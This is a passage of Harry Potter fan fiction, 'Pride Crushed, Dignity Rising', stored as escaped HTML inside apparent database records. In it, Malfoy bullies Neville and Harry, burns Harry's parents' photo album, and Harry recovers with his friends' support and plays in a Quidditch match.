Hogsmeade last summer when we ran into Snape and\nwe talked and he said he\'d accepted a position in Ireland doing potions\nresearch.  He\'d had no patience with us students and seemed crabby\nmost of the time.  None of us had cared for him much, but then we\nwished him well before we parted.  Looking back now, I can see why\nhe was the way he was with his sarcasm and sour disposition.  Gromer\nis more cheerful and I think he likes teaching this class.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>     As I headed back to the Gryffindor dorms that\nevening after dinner, I heard laughter in the hall.  A loud, rather\nmalicious laugh.  I stopped when I saw Malfoy with two of his yes-men,\nCrabbe and Goyle.  They were surrounding Neville Longbottom and Malfoy\nwas clutching a notebook.\n<br/>     "Give it back..." Neville pleaded.  \nHe tried to reach out for it, but Malfoy, being taller held it just out\nof his reach.\n<br/>     "Give it baaack..." Crabbe mimicked and he\nand his cronies laughed.  Neville is a seventh year Gryffindor and\nis often targeted by Malfoy.\n<br/>     "Leave him alone!" I cut in, running up to\nthem.\n<br/>     "Oh, butt in where it\'s none of your business,\nwhy don\'t you?" Malfoy\'s gray eyes sneered over at me.\n<br/>     "Give that back to Neville..." I said in a\nlow voice.\n<br/>     "And suppose I don\'t?" Malfoy glared. \nHe pulled out his wand and with a spell, held the notebook higher, leaning\nit toward the window.  Goyle went to push it open.\n<br/>     "You won\'t...?" Neville squeaked.\n<br/>     "Don\'t you dare, Malfoy..." growled Harry,\nhis eyes narrowed as he came up the hallway.\n<br/>     "Oh, it\'s you...<i>Potter</i>," Malfoy spat,\nhis eyes narrowing back. "Of course as Head Boy, you think you have the\nright to be giving orders."  Harry is Head Boy and Hermione is Head\nGirl this year.  The two of them glared at each other, eyes slitted\ndangerously for a long minute.  Harry slowly pulled out his wand. \nMalfoy must have seen it because he leaned out the window and said a quick\nspell and the notebook went flying out the window.\n<br/>     "Oh...God..." Neville gasped.  Malfoy\ngrinned maliciously.\n<br/>     "Ooops, it landed in a puddle of mud out there,"\nMalfoy banged the window shut and gave a shrug of false "apology."  \n"Never meant for that to happen, Roundbottom....I mean Fatbottom...I mean,\noh, I can never remember these names of these idiots except...Potter." \nHarry\'s fists were clenched and his eyes were still slits.  "Cool\noff, Potter," Malfoy brushed past him, practically pushing him into the\nwall.  "It\'s not as if it\'s your precious notebook I accidentally\ndropped."  He stalked off to the Slytherin dorms with his yes-men\nbehind him, snickering all the way.  Neville wiped a few tears from\nhis eyes.\n<br/>     "Oh, Neville, we\'re sorry..." I put an arm\naround him.\n<br/>     "I\'m going to kick Malfoy\'s ass one of these\ndays," Harry raked a hand angrily through his thick black hair.  "Really,\nthat snob is getting on my nerves worse every day!"\n<br/>     "I think we should just try to ignore him,"\nI said softly as we said the password and entered our common room.\n<br/>     "We\'ve done that, Ginny and his shit is getting\nworse all the time," Harry\'s face was a patchy red.  "That jackass\nhas no respect for anyone but himself.  I\'m afraid one of these days\nhe\'s going to really hurt someone."  We sat by the fireplace.\n<br/>     "I\'m concerned about that too," I admitted.\n<br/>     "So what can we do to stop him?" Neville asked.\n<br/>     "I don\'t know," Harry\'s fists twisted in his\nrobe pockets.  "But all of us has to gather together and do something."\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n<br/> \n</p><p>     Later on that night, Hermione, Harry, Ron,\nCheria, Neville, and I put on Harry\'s invisibility cloak and headed out\ninto the courtyard to look for Neville\'s notebook.  It was rather\ndamp, cold, and windy outside.  We eventually found it, all wet and\nmostly muddied.  Neville sighed and thanked us for helping.\n<br/>     "No problem..." Harry told him as we headed\nback inside.  Good thing we had the invisibility cloak because we\nalmost ran into Malfoy and Goyle as we were going in.   We waited\nuntil they\'d gone back to their dorms before uncloaking partially to give\nthe Fat Lady portrait the password.\n<br/>     "Shhh..." Neville told Ron as we looked nervously\nup and down the hall, then went in quickly and headed up to bed.\n\n\n'),
	(32, 2, '<i>    Disclaimer</i>: None of the characters except\nCheria are mine; they all belong to JK Rowlings.\n<br/> \n<br/> \n<br/>\n<p><b>Pride Crushed, Dignity Rising</b>\n</p><p><i>By</i>: CNJ\n</p><p><i>PG-13</i>\n</p><p>2\n<br/> \n<br/> \n</p><p><b><u>Harry:</u></b>\n</p><p>     I smiled softly as I leafed through my parents\'\nphoto album after school the following afternoon. I never tire of looking\nthrough it.  My parents were killed by an evil wizard, Voldemort when\nI was just a year old, so this album is very dear to me, my biggest link\nto my beloved parents.   I usually keep it in my nightstand in\na low drawer.   My great-aunt Miranda and Hagrid tell me I have\na lot of Mum\'s personality and her eyes and snub nose and I have my dad\'s\nblack hair and thin mouth.  Oh, I can tell my parents really loved\neach other.  They met at Hogwarts and became a couple in their seventh\nyear.  They didn\'t marry until they were twenty-six and they had me\ntwo years later.  I smiled wryly as I remembered hearing that I was\nborn in breech position...feet out first.  Miranda, who is my dad\'s\naunt, had been at my birth.  She\'s now my legal guardian and I was\nlooking forward to going home to her for the Christmas break.  A little\nover a month away, I thought, closing the album and putting it away. \nI then pulled out some of my books and started my homework.  Transformation\nand potions, not too much tonight.  It must have been about an hour\nlater when Ron poked his red head in and called, "Heyy, Harry, coming to\nQuidditch practice?"\n<br/>     "Oh...yes, I am..." I closed my book, put\nmy little vials away and Ron and I started out toward the field to join\nthe rest of the team.   The sun was partially out, but it was\nwindy and cold and we practiced flying our brooms in wind.\n<br/>     "The important thing is that the wind can\'t\nreally push your brooms," Ron told us.  "It may shake some, but don\'t\nlet it distract you.  So...are we ready to beat Slytherin this Saturday?"\n<br/>     "YEEAAAAH!" All of us crowed.  We then\nheaded in.  It was growing dark by then and in another hour and a\nhalf, it would be time for dinner.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>     I showered, then headed to my dorm and got\nmore homework done.  I finished early and leaned over to get the album\nout again.  But...it wasn\'t there.  "Oh...dear..." I muttered. \nHad I misplaced it without realizing it?  I was sure I\'d put it in\nthe low nightstand drawer.  But it wasn\'t there.  I searched\nmy bed and all around and even in the closets with no luck.  Oh, God. \nMy stomach lurched painfully.  It was time to go eat, so I went, hoping\nit was in some place I wasn\'t looking.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><center>\n</center><p></p><p><b><u>Ginny</u></b>:\n</p><p>     Hermione, Ron, Cheria, Neville, and I managed\nto grab seats next to each other at dinner that night  We were talking\nfast about homework and Quidditch when Harry came running in, slightly\nflushed and a little out of breath.  Ron patted the chair next to\nhim and Harry sat, his dark hair messier than usual.  I then noticed\nhe looked really worried about something, his bushy brows drawn together\nin a nervous frown with a small vertical line between them.\n<br/>     "What\'s the matter?" I asked softly.\n<br/>     "I...can\'t find my parents\' photo album,"\nhe told me softly, looking around as if to make sure no one else except\nour group heard.\n<br/>     "Oh...God," Hermione gasped.  We all\nknow how precious that album is to Harry.  "I\'m...sure it\'ll turn\nup someplace under a bed or something."  I wasn\'t sure I was too convinced,\nbecause Harry doesn\'t lose things.\n<br/>     "When did you last see it?" Cheria asked.\n<br/>     "I had it on the bed this afternoon and was\nlooking through it," Harry said shakily.  "I then started my homework\nand I guess put the album...somewhere...I thought the nightstand drawer. \nWe had the Quidditch practice then and when I came back to the dorm and\nwent to look at it more, I couldn\'t find it..." Harry\'s hands had started\nto shake and he clenched them together.  We ate quickly, then headed\nback upstairs and looked all over the room.  Several other dormmates\nhelped us look around, but no album turned up.  I got late, so reluctantly,\nwe headed to bed.\n<br/>     "Maybe you dropped it somewhere and we can\nlook in the lost and found," Neville told Harry sympathetically.\n<br/>     "Possibly..." Harry was unconvinced, I could\ntell and the vertical line was back between his brows. We all headed to\nour beds.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><center>\n</center><p></p><p><b><u>Harry:</u></b>\n</p><p>     I still had no luck finding that album the\nnext day or on Thursday morning either.  "Damn!" I swore as I almost\nran late for my first class, Supernatural Psychology on Thursday. \nI ran and barely made it there.  Unfortunately,  Malfoy is in\nthat class too and he noticed my state.\n<br/>     "What\'s the matter, Potter?" he jeered.\n<br/>     "None of your damned business..." I muttered,\nsitting down.  None of my other friends are in this class, so I\'m\nstuck with Malfoy alone in this class.  Some of the others snickered. \nI silently willed Professor Bilrock to get in here.\n<br/>     "Did you by chance...<i>lose</i> something,\nPotter?" Malfoy kept up.  Was it my imagination or did he put emphasis\non the word <i>lose</i>?  But he couldn\'t have...my heart began to\npound.  None of the Gryffindors would let slip our password and Malfoy\ncouldn\'t have gotten into our dorm, not without one of us knowing about\nit.\n<br/>     "Shut up, Malfoy!" I snapped.  Just then,\nProfessor Bilrock came in from her office.\n<br/>     "My, my, are we crabby this morning, Mr. Potter,"\nshe said cheerfully.  Oh, great, isn\'t it just my luck that she heard\nme tell Malfoy to shut up.  "I would take five points off Gryffindor,\nbut I figure you just got up on the wrong side of the bed, Mr. Potter."\n<br/>     "I\'m sorry, Professor Bilrock," I apologized.\n<br/>     "He\'s come on the wrong side of <i>life</i>..."\nMalfoy whispered and he and Crabbe snickered.  Bilrock started the\nclass then and thank the stars we had a lot of notes to take, so Malfoy\nhad to shut his horrid face for once to keep up.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><center>\n</center><p></p><p><b><u>Ginny</u></b>:\n</p><p>     It was a huge crowd by the door at the Great\nHall for dinner that night and while our group waited to go in, Hermione,\nRon, and I talked about the Divination homework assignment.\n<br/>     "The part in the second unit is confusing,"\nRon told us, his freckled long nose scrunching up. "I wonder what Professor\nTrelawny means at that part?"  Harry was quiet and I knew he\'d had\nno luck finding that album.  Finally, the crowd by the door thinned\nand we were able to get in.  We had to pass by Malfoy and his yes-men. \nOddly enough, they were by our table.  Malfoy sneered in our direction.\n<br/>     "So...Harry, did you find whatever you...lost?"\nMalfoy called.  We turned to look at him.  How did he know about\nHarry\'s album?  Unless...\n<br/>     "Who said I lost anything?" Harry asked, narrowing\nhis eyes at Malfoy.\n<br/>     "Let\'s just say...a little owl told me," Malfoy\ngrinned maliciously and something red gleamed from his robe pocket.\n<br/>     "Hey!" I shouted.  Just then Malfoy pulled\nit out and it was the album.  Oh...God!  How had Malfoy gotten\nin?\n<br/>     "You didn\'t say...you lost this dear thing?"\nMalfoy held the album up high and Harry stared at it, his eyes wide with\nhorror.\n<br/>     "Give it back, Malfoy..." Harry whispered. \nBy then, almost everyone was looking over at them.\n<br/>     "How did you get into our dorm?" Ron demanded.\n<br/>     "Wouldn\'t you like to know?" Malfoy\'s gray\neyes glinted meanly.\n<br/>     "Give it back!" Hermione demanded.\n<br/>     "Maybe if you say please," Malfoy jeered. \nHarry tried to grab it, but Malfoy held it high.  Being much taller\nthan Harry, he was able to keep it out of Harry\'s reach. Malfoy\'s six-two\nwhile Harry\'s only five-six.  Ron tried to reach for it, but had no\nbetter luck, since Malfoy was able to dodge him too.  Anyway, Goyle\nstepped in front of Ron and pushed him back.\n<br/>     "Give it here, Malfoy..." Harry pleaded, breathing\nfast.\n<br/>     "Where\'s the please in it?" Malfoy laughed\nrudely.  "If you can say that, you\'ll get this back."\n<br/>     "Please..." Harry lifted a lip in disgust.\n<br/>     "Sure thing." Malfoy gave a flick of his wrist\nbackward and tossed the album...back into the torch\'s flame!  Several\nstudents gasped in horror as the album rapidly blackened and dwindled into\nblack ashes.  Harry stood stunned, his eyes wide.  It was a long\nminute and I couldn\'t believe Malfoy could be that cruel.  Ashes tumbled\ninto the plate under the torch and Crabbe reached for a handful. \nSo did Malfoy and they tossed the ashes to Harry, who backed up several\nsteps trembling.  "Here\'s the album back, Potter," Malfoy singsonged. \nHarry\'s eyes filled with tears, he ducked his head and fought against the\ntears unsuccessfully.  The tears spilled down his face and he covered\nhis face with his hands and turned to weave his way though the crowd, soft\nsobs ripping out of him.  Malfoy and his yes-men laughed cruelly. \nRon\'s face went bright red as he lunged at Malfoy and landed a few punches\nat him before Crabbe and Goyle held him off.  Ron yelled curse words\nat Malfoy and Hermione, Cheria, and I added a few choice words of our own. \nThe next few minutes were bedlam as students pushed against each other\nand finally, the deputy headmistress, Professor McGonagall come through\nthe crowd to see what was going on.  We told her and Malfoy tried\nto butt in with his version, claiming that we\'d started a fight and all. \nMcGonagall had to blow her whistle to quiet all of us.  Then she saw\ncrying Harry, who was struggling through the crowd.\n<br/>     "Mr. Potter, are you all right?" she called. \nHarry shook his head and kept going, leaving the Great Hall, sobbing. \nFinally, I guess she wasn\'t able to get a clear story of what exactly had\nhappened but Slytherin did end up losing ten points since I showed McGonagall\nthe ashes of what had been Harry\'s parent\'s photo album.\n<br/>     "Great..." Ron muttered angrily as we sat\ndown to eat.  "Just fantastic!" Ron jabbed his fork into a chicken\npiece so hard it flew off the table and landed into his lap.  "Harry\ncried in front of Malfoy!  Malfoy\'s goddamned happy!"\n<br/>     "It was precious to Harry," I said softly. \n"Harry couldn\'t stop his tears."\n<br/>     "Oh, I know..." Ron heaved a breath, his face\nstill red.   None of us were very hungry, so we wrapped up some\nfood for later and to take to Harry.\n</p><center>\n</center><p></p><p><b><u>Harry</u></b>:\n</p><p>     I don\'t know how long I cried.  I was\njust too humiliated to go back down there and face Malfoy and the others\nagain.  I sat on the floor in front of the fireplace, weeping for\nwhat seemed to be eternity, embarrassed at being unable to stop my tears.  \nJust thinking about that album kept making me cry.  Usually I cry\nvery quietly, but tonight, I could feel gasping sobs tear out of me. \nIt might have been an hour; it might have been fifteen minutes, but I heard\nothers in the room, felt a hand on my shoulder.\n<br/> "Oh, Harry..." Ron sat on a nearby stool, a look of disappointment\non his face.  I knew I\'d broken our informal pact not to let Malfoy\nsee either of us cry and that made fresh tears come again.  I tried\nto speak, but my throat tightened so painfully and chokingly that I couldn\'t\nspeak for a long minute.  <i>I\'m so sorry</i>, I barely managed to\nmouth out before my lips tightened into more crying.  Hermione stroked\nmy shoulder and Cheria and Ginny handed me tissues.  Good thing it\nwas just the five of us here.  My glasses slid down my wet runny nose\nand I let them fall into my lap as I wiped my face more.\n<br/>     "It was a nasty prank," Hermione said softly.\n<br/>     "Hey,  hey, it\'s not a deal about our...agreement,"\nRon put in, attempting to ease the sting of my humiliation.  It didn\'t\nreally ease my pain, but it did help to know he was on my side.\n<br/>     "I really don\'t know how I\'m going to face\ntomorrow," I told the others shakily once my tears had finally slowed.\n<br/>     "You will," Ginny told me.  "Think of\nall the other difficult situations you\'ve faced."\n<br/>     "Malfoy is going to be worse than ever knowing\nthat he got the best of me," I caught my breath in a shuddery sob. \n"Oh, I made a fool of myself and everyone saw it."\n<br/>     "Hey, listen, we\'ll face him down together,"\nHermione told me, her brown eyes peering at me in support.  "He may\nthink he\'s gotten you down for now, but you\'ll go to class tomorrow and\nhe\'ll realize that he can\'t drive you out of your day to day activities. \nWe\'ll show Malfoy that we stand by you all the way."\n<br/>     "Wh-what...if I cry again tomorrow right in\nclass?" I worried, wiping a stray tear from my face.\n<br/>     "I can tell you something funny so you won\'t?"\nRon suggested.\n<br/>     "And even if you do, you\'ll survive it and\ngo on with your life," Cheria put in, pulling out foil-wrapped remains\nof dinner. "Feel like eating?"\n<br/>     "Not really, but I guess I have a bit of butterbeer,"\nI blew my nose and put my glasses back on, still feeling very embarrassed.  \nMy heart was still very heavy, but it was good knowing that I had friend\non my side.  Others then came in and some of them asked if I was all\nright.  I nodded weakly and tried to smile, but couldn\'t.\n<br/>     "It was rotten, what that ass did," one first-year\nput in.  "You\'re far better than him, so don\'t let him pull you down."\n<br/>     "We\'re rooting for you, Harry..." a third-year\nadded.\n<br/>     "Thanks..." I told him.  I was grateful\nfor their support.\n<br/>     "And don\'t forget, we have a game this weekend,"\nRon put in.  "We\'ll blow those Slytherins out of the water!"\n<br/>     "Yeah..." the others put in.  I hoped\nI had the courage to face tomorrow or I was in trouble. I wondered how\nlong it would take me to recover from this.  I\'d just gather up the\nshreds of my shattered pride to just try to get through the next few days.\n\n\n'),
	(32, 3, 'Disclaimer: None of the characters except Cheria are mine; they\nall belong to JK Rowlings.\n<br/> \n<br/> \n<br/>\n<br/>\n<p><b>Pride Crushed, Dignity Rising</b>\n</p><p><i>By</i>: CNJ\n</p><p><i>PG-13</i>\n</p><p>3\n</p><p> <i>~The Greatest Dignity is Not In Never Falling, but in Falling\nand Getting Back Up Again and Going On~</i>  ~Quote by Confucious~\n</p><center>\n</center><p></p><p><b><u>Harry</u></b>:\n</p><p>     It was hard, but I pushed myself to go into\nthe Great Hall on Friday morning for breakfast with Ron’s encouragement. \nCheria, Ginny, and Hermione walked down with us.  Thank the stars\nthat the Gryffindor table isn\'t next to the Slytherin table, but I could\nstill see Malfoy there.  Crabbe saw us and poked Malfoy, who looked\nup.  His eyes widened a second, I think in surprise that I had the\nnerve to show my face here of all places, but then his face twisted into\na cross between a smirk and a scowl.  I looked him briefly in the\neyes, then turned to my own friends as we went to our places and sat. \nMy heart was pounding and my hands were shaking, but I felt a bit braver\nsince last night.  At least I didn\'t mortify myself by breaking down\nagain.    I still wasn\'t very hungry, but I made myself\ntake a few bites.  The others ate as usual.  Ron and Ginny chatted\non about Quidditch and tomorrow\'s match.  I gulped a sausage nearly\nwhole and just hoped I could play well tomorrow.  Malfoy\'s the Slytherin\nSeeker and I had the feeling I\'d have to watch my back at the game tomorrow. \nJust then, Dumbledore had the announcements and one of them was the Voldemort\nhad been spotted in some wooded areas near here, so there was a possibility\nthat the upcoming Gryffindor retreat could be postponed.  <i>Ohhhhuuhhhh</i>...a\nbunch of us groaned, including our group.  I hope not, I thought.\n<br/>     "I do apologize, but we have to verify that\nQuarry Grounds is safe.  I will give you the final word by Monday,"\nDumbledore added.  I gave him a weak smile.  I knew it wasn\'t\neasy for him either having to disappoint us.\n<br/>     "So if it\'s postponed, when will it be?" Micheal\nJohns asked.\n<br/>     "That I cannot confirm until Monday, I apologize,"\nDumbledore told him.\n<br/>     "Ohhhh, shiiit..." Micheal muttered. \n"Just when I needed a break from studying."   We were just about\ndone with breakfast when the mail came.  Owls flew overhead, dropping\nletters and parcels and one came for us from Hagrid and I got a letter\nfrom my great-aunt Miranda just saying hello.  Hagrid sent an invitation\nfor all five of us to come to tea that night.  We knew he\'d gotten\nthe okay from McGonagall for us to go over to his hut tonight and she smiled\nover at us.  We nodded thanks to her.  My heart was still rather\nheavy from last night, but I did feel a stream of light come into my heart\ngetting these letters.  I made a mental note to owl Aunt Miranda tonight\nbefore bed as we got up and got ready to head to classes.\n<br/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>     Thank the stars I don\'t have Supernatural Psychology\non Fridays, but still I was a bit nervous around Malfoy.  Struggling,\nI barely managed to hide it, otherwise Malfoy would have had a field day.\n<br/>     "So, Potter, so sorry you got your album back...in\nashes," Malfoy jeered in a low voice in Deviation near the end of the day. \nI winced, then struggled to keep my composure.   I could hear\nGoyle and him snigger and it made my spine crawl.  Just...ignore them,\nI willed myself, clenching my teeth and concentrating on Professor Trelawney\ncoming into the class.  She gave a quiz that day, so I just concentrated\non that.  I surprised myself by being the first to finish.\n<br/>     "Goood..." Trelawney smiled at me as I turned\nit in.  As I sat, I noticed Malfoy was giving me an odd look. \nIt was kind of a mixture of outrage and maybe bewilderment.  I ignored\nhim and concentrated on going over my notes for next week as I waited for\nthe others to finish their quizzes.  Once the class ended and we headed\nto our last classes of the day, I heard someone call my name.  I turned,\nthinking it didn\'t sound like anyone in my usual group of friends. \nIt was Lavender and Parvati catching up to me.  They had two others\nwith them, a sixth year and a fifth year.\n<br/>     "We just wanted to tell you how courageous\nyou are," Lavender told me once they caught up.  "After what Malfoy\npulled last night, we worried that you\'d be too distraught to face classes\nand all today."\n<br/>     "Bravo, Harry," Parvati patted my shoulder.\n<br/>     "It takes a lot of courage to get back up\nagain after what you endured last night," the fifth-year, Jon Brusher put\nin.\n<br/>     "Thanks," I blushed some as we walked to our\nlast class.\n<br/>     "It\'s high time someone showed Malfoy he can\'t\npush the rest of us around," the sixth-year, Sara Berman added.  Lavender\nand Parvati had this class, Muggle Studies with me, so the others parted\nand the three of us headed there together.\n<br/> "Thanks..." I told them again once we got to class.  "It\nmakes me feel better knowing you\'re on the other side with me."  Class\nstarted and I did feel better, more encouraged.  If only I could be\nsure that the Quidditch match went well tomorrow.  Going through classes\nand getting regular classwork done is generally easy for me and especially\nthis year, I\'d been on the honor list with Hermione, but actually playing\nan active game like Quidditch is a different matter.  I just hoped\nI could concentrate on beating that Bludger away from my teammates.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>\n</p><center><b><u>Ginny:</u></b></center>\n<p></p><p>     We got to Hagrid\'s at six that night. \nIt was drizzling slightly and chilly, so Hagrid had a fire going and the\nhut had a cozy feeling.\n<br/>     "\'Ello, com\'ny, how was this week?" Hagrid\nasked.  We looked at each other.  Harry seemed to be in better\nspirits and it was great that he was able to get up and go through classes\nand all after he was badly wounded last night, but he still was a bit down.\n<br/>     "Eventful...interesting," Ron took a sip of\ntea and a huge bite of a chocolate lizard leg.  "Quidditch match tomorrow,\nare you coming."\n<br/>     "Ohhh, yeh, definitely, I\'ll be there rootin\'\nfor yeh," Hagrid nodded, sipping his tea.  Fang, his dog, nosed into\nhis lap, then went around licking each of our hands.  We talked some\nabout the early part of the week, then Harry said softly, "Hagrid...yesterday..." \nhe cleared his throat and his mouth trembled some.  I guess Hagrid\nsensed Harry\'s distress, because he peered over in concern.  If I\nremember correctly, it was Hagrid that had given him that photo album that\nMalfoy destroyed.\n<br/>     "Are you all ri\', \'Arry?" Hagrid asked softly,\nputting a giant hand on Harry\'s small one.\n<br/>     "Last night I wasn\'t..." Harry then told him\nabout last night.  Harry couldn\'t hold back more tears, so the rest\nof us put in our comments.  By the time we got done, Harry had leaned\non Hagrid, his glasses off, weeping again and Hagrid was stroking Harry\'s\njet-black, thick hair.\n<br/>     "I always figured Malfoy to be an arse just\nlike his dad Lussus..." Hagrid muttered indignantly.  "\'Arry, I\'m\nso sorry, dear.  Malfoy\'s bullied you too long.  Maybe I could\ngit \'im alone and give \'im a \'barrassment of \'is own..."\n<br/>     "N-no, please, Hagrid..." Harry wiped his\neyes and sat up, his thick brows relaxing from being slanted at the bridge\nof his nose.  "I\'m...feeling better...than last..." a fresh sob burped\nup abruptly and Harry had to take deep breaths.\n<br/>     "Tha\'s good, dear..." Hagrid got some tissues\nand handed them to Harry, who wiped his eyes, then blew his nose. \nHermione stroked his arm as Harry put his glasses back on.\n<br/>     "Harry really showed a lot of courage today\ngoing to classes and all," I added.  Harry did seem to feel better\nhaving a good cry and we talked about the Quidditch game tomorrow.  \nIt was late by the time we got ready to leave.  "I\'ll be rootin\' for\nyeh..." Hagrid told us as we headed to the door.  "And \'Arry...glad\nyou\'re keeping your chin up and went to classes and ever\'thing.  If\nMalfoy tries anything funny tomorrow, I\'ll be on his arse faster than he\ncan say pureblood."  We all laughed some.  Harry managed a weak\ngrin as well.  "G\'night..." Hagrid called.\n<br/>     "Good night..." we called back as we headed\nback to our dorms.\n\n\n'),
	(32, 4, '\n\n\n\n<i>&nbsp;Disclaimer</i>: None of the characters except Cheria are\nmine; they all belong to JK Rowlings.\n<br>&nbsp;\n<br>&nbsp;\n<br>\n<br>\n<center>\n<p>Pride Crushed, Dignity Rising\n</p><p><i>By:</i> CNJ\n</p><p>4\n<br>&nbsp;\n</p><p><b><u>Harry</u></b>:</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp; The day of the Quidditch game was clear, cold,\nand windy.&nbsp; I was the first in our dorm to awaken and I lay there\nin the purplish sunrise, mulling silently over the last few days and stroking\nHedwig, my owl.&nbsp; From a distance, Hedwig appears all-white, but up\nclose, you can see that she has tiny gold specks.&nbsp;&nbsp; The game\nwas starting at two.&nbsp; I knew I wasn\'t going to be able to sleep again,\nso I read a while, then slowly got up just as I heard soft stirring down\nthe room.&nbsp; Neville had been snoring softly and his snores petered\nout, telling me that he was coming awake.&nbsp; I had to pee, so I quickly\ngot dressed and headed to the loo.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; At lunch, all of us in our group sat talking\nand eating.&nbsp; I was mostly quiet and McGonagall passed by our table\nat one point.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Harry...&quot; she said softly. &quot;I just wanted\nyou to know how sorry I am about...your album.&nbsp; You\'ve handled yourself\nwell with Mr. Malfoy\'s bullying.&nbsp; I let him know that we will be watching\nhim closely today and from now on.&quot;\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Thank you, Professor McGonagall,&quot; I whispered,\ntouched by her caring.&nbsp; My friends were also hearing this.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;And it\'s twenty points awarded to Gryffindor\nfor your courage and dignity,&quot; she told me with a smile before moving on\nto the teachers\' table.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Wow, great!&quot; Ron grinned.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Way to go, Harry,&quot; Hermione added.&nbsp;\nI smiled his first real smile in days.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Thanks...all of you...&quot; I told everyone.&nbsp;&nbsp;\n&quot;Hey, it\'s getting late, let\'s head on over and change.&quot;&nbsp; The lunch\ncrowd was thinning out, so we got up and headed upstairs to get ready.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>&nbsp;&nbsp;&nbsp;&nbsp; Once we got out on our broomsticks and were\ncentered in the Quidditch field, I saw Malfoy\'s eyes widen when he saw\nme, then his lip lifted in disgust.&nbsp; I think he was hoping I\'d be\ntoo crushed to show up on the field.&nbsp;&nbsp;&nbsp; Look out, Malfoy,\nI am going to play and play my best, I thought, filled with a fresh determination.&nbsp;\nYes, you got the brief high of seeing me in tears and humiliated, but I\'m\nnot going to let you destroy my will and my life.&nbsp; I was still a bit\nnervous facing him and a bit embarrassed about everyone seeing me cry,\nbut I was able to look into Malfoy\'s cold gray eyes this time without wincing.&nbsp;\nI heard snickering somewhere in the stands and was worried that I was the\none being laughed at.&nbsp; I looked around nervously a minute, then forced\nmyself to concentrate on the game once I saw the source, Crabbe and Goyle.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Looks like you didn\'t knock Potter down!&quot;\nI heard Goyle jeer.&nbsp; Malfoy glared over at them and opened his obnoxious\nmouth to I guess tell him off, but Madame Hooch tossed the Quaffle into\nthe air, starting the game.&nbsp; We all plunged into it except Malfoy\nfor a minute, who was yelling something at Goyle.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;MALFOY, pay attention to the game!&quot; roared\nSlytherin\'s Captain, Berle Pauce.&nbsp;&nbsp; I was concentrating on beating\nthe bludgers away from players while Ginny peered around for the snitch.&nbsp;\nSo did Malfoy eventually.&nbsp; Ron and Cheria played their end.&nbsp;\nCheria managed to score one.&nbsp; Then Slytherin scored and Ron groaned,\nrolling his eyes.&nbsp;&nbsp;&nbsp; I must have batted away a dozen bludgers\nincluding one from Ron.&nbsp; I could also see Hagrid, there bouncing around\nand whooping it up along with the rest of the crowd.&nbsp; An hour later,\nSlytherin was twenty points ahead and Ginny and Malfoy had gone head-to-head\nfor the snitch.&nbsp; Malfoy naturally tried to knock Ginny off her broom,\nbut she clamped on.&nbsp;&nbsp; We really needed this win; last year, Gryffindor\nlost two games in a row at the end of the season.&nbsp; A <i>niiingk</i>\nsound told me that someone had scored and I looked up and groaned softly\nwhen I saw that it had been Slytherin.&nbsp; Now they were thirty points\nahead.&nbsp; A bludger headed toward me and I barely batted it off, wobbling\non my broom a minute.&nbsp; Then I saw another bludger headed toward Ginny\nand Malfoy.&nbsp; I swooped down and saw that it was on the way to knocking\nGinny\'s shoulder, which could break her concentration, since the snitch\nwas fluttering right in front of her.&nbsp; Malfoy was edging up as well\nand I guess heard the swish of my broom because he looked up and gave me\nsuch an evil glare that I had to suppress a shudder and just raise my bat,\nstanding up to take aim.&nbsp; Maybe it was a mistake to stand because\nMalfoy pulled his broom upward so it was headed right towards me and before\nI realized what was happening, he\'d rammed into me and I was falling toward\none of the towers by the stands.&nbsp; As I lost my balance and fell, I\nfelt my bat contact the bludger.&nbsp; It was just a ten-foot fall, thank\nthe stars of Merlin, but I felt a sharp pain in my mouth as my face hit\nthe broom, then a hard jolt as I hit the ground below the stands.&nbsp;\nI vaguely heard people gasp and someone yelped.&nbsp; The next few minutes\nwas blurred, but I could tell the game was over.&nbsp; I sat up, feeling\na bit dizzy and flopped back down, feeling warm blood drip out of my mouth.&nbsp;\nI couldn\'t see anything but a blur and I fumbled around until I found my\nglasses.&nbsp; Oh, dear, I thought seeing that they were bent.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Gryffindor wiiiiins!&quot; I heard Madame Hooch\nbellow and I heard cheers rise up and smiled weakly, even though it hurt.&nbsp;\nSo Ginny caught the snitch after all.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Harry, are you all right?&quot; I heard Ron call\nas a crowd gathered around.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Trying to be...&quot; I wiped more blood off my\nmouth and hoped I hadn\'t knocked out any teeth.&nbsp; So far it didn\'t\nfeel like any had been.&nbsp; My arse was sore also and Madame Hooch rushed\nover and slowly got me up.\n<br>&nbsp;&nbsp;&nbsp;&nbsp; &quot;Nothing seems to be broken...&quot; she told me.&nbsp;\n&quot;Mr. Weasley, get some ice for Mr. Potter\'s lip.&nbsp; Swell play, Mr.\nPotter.&quot; she 